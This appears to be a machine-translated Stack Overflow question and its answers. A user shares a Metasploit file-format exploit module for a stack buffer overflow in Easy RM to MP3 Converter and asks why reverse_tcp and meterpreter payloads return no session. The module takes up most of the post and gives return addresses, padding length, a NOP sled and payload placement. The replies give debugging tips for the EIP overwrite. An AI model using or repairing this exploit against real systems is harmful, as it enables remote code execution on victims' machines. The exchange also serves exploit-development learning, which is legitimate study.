2013-07-01 72 views
0

![1]我開始學習利用寫一些時間回來,並創造了一些漏洞。其中之一是一個簡單的rmmp3轉換器,它工作得很好。然而,現在我想到了將我的漏洞轉化爲metasploit模塊,並遵循了許多文章中給出的步驟。但是,我面臨的唯一錯誤是有效負載無法正常工作。最終,我決定在網上尋找一個類似的模塊,並找到一個肯定會工作的模塊。但是,當使用meterpreter有效載荷時,我不會返回meterpreter會話或shell。做一些改變後,這裏是我使用的:metasploit的「Easyrmtomp3」利用模塊的問題

require 'msf/core' 

class Metasploit3 < Msf::Exploit::Remote 
    Rank = GoodRanking 

    include Msf::Exploit::FILEFORMAT 

    def initialize(info = {}) 
     super(update_info(info, 
      'Name' => 'Easy RM to MP3 Converter (2.7.3.700) Stack Buffer Overflow', 
     'Description' => %q{ 
       This module exploits a stack buffer overflow in versions 2.7.3.700 
       creating a specially crafted .m3u8 file, an attacker may be able 
       to execute arbitrary code. 
     }, 
      'License' => MSF_LICENSE, 
      'Author' => 
       [ 
       'Crazy_Hacker', # Original 
     'buzz', 
       ], 
      'Version' => 'Version 1', 
      'References' => 
       [ 
        [ 'URL', 'http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt' ], 
       ], 
      'DefaultOptions' => 
       { 
        'EXITFUNC' => 'process', 
       }, 
      'Payload' => 
       { 
        'Space' => 1000, 
        'BadChars' => "\x00\x0a", 
        'StackAdjustment' => -3500, 
       }, 
      'Platform' => 'win', 
      'Targets' => 
       [ 

        [ 'Windows XP SP2 (En)', { 'Ret' => 0x01A13F01} ], # Universal Address (MSRMCcodec02.dll) 
        [ 'Windows XP SP3 (Fr)', { 'Ret' => 0x01AAF23A} ], # FFE4 ,JMP, ESP from (MSRMCcodec02.dll) 
        [ 'Windows XP (Universal)', { 'Ret' => 0x773D4540} ], # JMP ESP in (SHELL32.DLL) 
       ], 
      'Privileged' => false, 
      'DefaultTarget' => 1)) 

     register_options(
      [ 
       OptString.new('FILENAME', [ false, 'The file name.', 'buzz.m3u']), 
      ], self.class) 
    end 


    def exploit 

     sploit ="A"*26068 # rand_text_alphanumeric(26068) # Buffer Overflow 
     sploit << [target.ret].pack('V') 
     sploit << "\x90" * 30 # nopsled 
     sploit << payload.encoded 
     sploit << "B"*1000 
     buzz= sploit 
     print_status("Creating '#{datastore['FILENAME']}' file ...") 
     file_create(buzz) 

    end 

end 

我嘗試了一些有效載荷:meterpreter/reverse_tcpshell/reverse_tcp,e.t.c.,但沒有一個似乎工作。任何解決方案

回答

0

您還應該提供更多關於您正在使用的操作系統的詳細信息以及您提供用於運行該模塊的參數。

正如你所看到的指針Ret取決於操作系統。

您是否附加了調試器,但尚未查看應用程序中發生了什麼?從我所看到和了解的漏洞是你的起毛字符串似乎並不爲緩衝區

sploit =「A」 * 26068

應該比這更合適。附上一個調試器,看看EIP是否被覆蓋。

問候, T0X1C

+0

使用Windows XP SP3,完成上述測試還送了它一個簡單的Ruby腳本使用的免疫調試器中運行(已檢查EIP,檢查badchars等)。其只有當我使用Metasploit工具有效負載不起作用 – 2013-07-01 12:06:25

+0

您使用過的ruby腳本是什麼樣的,您確定可以使用來自0x773D4540的jmp esp作爲通用腳本嗎?調試器的屏幕截圖可能也有用,以及 – 2013-07-01 13:47:03

+0

對不起,但這是我的第二個問題在堆棧溢出只,我沒有足夠的點發布圖像生病嘗試收集併發布它很快 - 沒有圖像的任何建議? – user27812